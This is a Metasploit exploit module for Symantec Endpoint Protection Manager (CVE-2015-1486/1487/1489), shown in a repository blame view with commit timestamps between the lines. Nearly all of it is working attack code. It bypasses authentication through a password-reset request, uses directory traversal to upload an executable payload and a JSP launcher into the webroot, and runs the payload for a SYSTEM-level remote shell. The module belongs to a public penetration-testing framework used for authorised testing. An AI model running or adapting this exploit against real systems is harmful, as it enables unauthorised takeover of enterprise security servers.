metasploit-framework/modules/exploits/windows/http/sepm_auth_bypass_rce.rb

138 lines
4.2 KiB
Ruby
Raw Normal View History

2015-08-01 21:40:03 +00:00
##
2017-07-24 13:26:21 +00:00
# This module requires Metasploit: https://metasploit.com/download
2015-08-01 21:40:03 +00:00
# Current source: https://github.com/rapid7/metasploit-framework
##
2016-03-08 13:02:44 +00:00
class MetasploitModule < Msf::Exploit::Remote
2015-08-01 21:40:03 +00:00
Rank = ExcellentRanking
2015-08-14 22:00:27 +00:00
include Msf::Exploit::FileDropper
2015-08-01 21:40:03 +00:00
include Msf::Exploit::Remote::HttpClient
def initialize(info={})
super(update_info(info,
2015-08-14 22:00:27 +00:00
'Name' => 'Symantec Endpoint Protection Manager Authentication Bypass and Code Execution',
2015-08-01 21:40:03 +00:00
'Description' => %q{
2015-08-14 22:00:27 +00:00
This module exploits three separate vulnerabilities in Symantec Endpoint Protection Manager
2015-08-14 22:03:21 +00:00
in order to achieve a remote shell on the box as NT AUTHORITY\SYSTEM. The vulnerabilities
include an authentication bypass, a directory traversal and a privilege escalation to
get privileged code execution.
2015-08-01 21:40:03 +00:00
},
'License' => MSF_LICENSE,
'Author' =>
[
2015-08-14 22:00:27 +00:00
'Markus Wulftange', #discovery
'bperry' # metasploit module
2015-08-01 21:40:03 +00:00
],
'References' =>
[
['CVE', '2015-1486'],
['CVE', '2015-1487'],
2015-08-02 13:31:03 +00:00
['CVE', '2015-1489'],
2015-08-01 21:40:03 +00:00
['URL', 'http://codewhitesec.blogspot.com/2015/07/symantec-endpoint-protection.html']
],
2015-08-02 13:59:36 +00:00
'DefaultOptions' => {
'SSL' => true
},
2015-08-01 21:40:03 +00:00
'Platform' => 'win',
'Targets' =>
[
2015-08-14 22:00:27 +00:00
[ 'Automatic',
{
'Arch' => ARCH_X86,
'Payload' => {
'DisableNops' => true
}
2015-08-01 21:40:03 +00:00
}
2015-08-14 22:00:27 +00:00
],
2015-08-01 21:40:03 +00:00
],
2015-08-02 13:31:03 +00:00
'Privileged' => true,
2015-08-01 21:40:03 +00:00
'DisclosureDate' => 'Jul 31 2015',
'DefaultTarget' => 0))
register_options(
[
2015-08-02 13:59:36 +00:00
Opt::RPORT(8443),
2015-08-01 21:40:03 +00:00
OptString.new('TARGETURI', [true, 'The path of the web application', '/']),
])
2015-08-01 21:40:03 +00:00
end
def exploit
2015-08-01 21:50:06 +00:00
meterp = Rex::Text.rand_text_alpha(10)
jsp = Rex::Text.rand_text_alpha(10)
print_status("Getting cookie...")
2015-08-02 20:03:59 +00:00
2015-08-01 21:40:03 +00:00
res = send_request_cgi({
'uri' => normalize_uri(target_uri.path, 'servlet', 'ConsoleServlet'),
'method' => 'POST',
'vars_post' => {
'ActionType' => 'ResetPassword',
'UserID' => 'admin',
'Domain' => ''
}
})
2015-08-14 22:00:27 +00:00
unless res && res.code == 200
fail_with(Failure::Unknown, "#{peer} - The server did not respond in an expected way")
2015-08-01 22:58:41 +00:00
end
2015-08-01 21:40:03 +00:00
cookie = res.get_cookies
2015-08-14 22:00:27 +00:00
if cookie.nil? || cookie.empty?
fail_with(Failure::Unknown, "#{peer} - The server did not return a cookie")
end
2015-08-02 13:31:03 +00:00
exec = %Q{<%@page import="java.io.*,java.util.*,com.sygate.scm.server.util.*"%>
<%=SemLaunchService.getInstance().execute("CommonCMD", Arrays.asList("/c", System.getProperty("user.dir")+"\\\\..\\\\webapps\\\\ROOT\\\\#{meterp}.exe")) %>
}
2015-08-01 21:40:03 +00:00
print_status("Uploading payload...")
2015-08-02 23:25:17 +00:00
res = send_request_cgi({
2015-08-01 21:40:03 +00:00
'uri' => normalize_uri(target_uri.path, 'servlet', 'ConsoleServlet'),
'method' => 'POST',
'vars_get' => {
'ActionType' => 'BinaryFile',
'Action' => 'UploadPackage',
2015-08-01 21:50:06 +00:00
'PackageFile' => "../../../tomcat/webapps/ROOT/#{meterp}.exe",
2015-08-01 21:40:03 +00:00
'KnownHosts' => '.'
},
'data' => payload.encoded_exe,
'cookie' => cookie,
'ctype' => ''
})
2015-08-02 23:25:17 +00:00
unless res && res.code == 200
2015-08-14 22:00:27 +00:00
fail_with(Failure::Unknown, "#{peer} - Server did not respond in an expected way")
2015-08-02 23:25:17 +00:00
end
2015-08-14 22:00:27 +00:00
register_file_for_cleanup("../tomcat/webapps/ROOT/#{meterp}.exe")
print_status("Uploading JSP page to execute the payload...")
2015-08-02 23:25:17 +00:00
res = send_request_cgi({
2015-08-01 21:40:03 +00:00
'uri' => normalize_uri(target_uri.path, 'servlet', 'ConsoleServlet'),
'method' => 'POST',
'vars_get' => {
'ActionType' => 'BinaryFile',
'Action' => 'UploadPackage',
2015-08-01 21:50:06 +00:00
'PackageFile' => "../../../tomcat/webapps/ROOT/#{jsp}.jsp",
2015-08-01 21:40:03 +00:00
'KnownHosts' => '.'
},
'data' => exec,
'cookie' => cookie,
'ctype' => ''
})
2015-08-02 23:25:17 +00:00
unless res && res.code == 200
2015-08-14 22:00:27 +00:00
fail_with(Failure::Unknown, "#{peer} - Server did not respond in an expected way")
2015-08-02 23:25:17 +00:00
end
2015-08-14 22:00:27 +00:00
register_file_for_cleanup("../tomcat/webapps/ROOT/#{jsp}.jsp")
print_status("Executing payload. Manual cleanup will be required.")
send_request_cgi({
2015-08-01 21:50:06 +00:00
'uri' => normalize_uri(target_uri.path, "#{jsp}.jsp")
2015-08-14 22:00:27 +00:00
}, 5)
2015-08-01 21:40:03 +00:00
end
end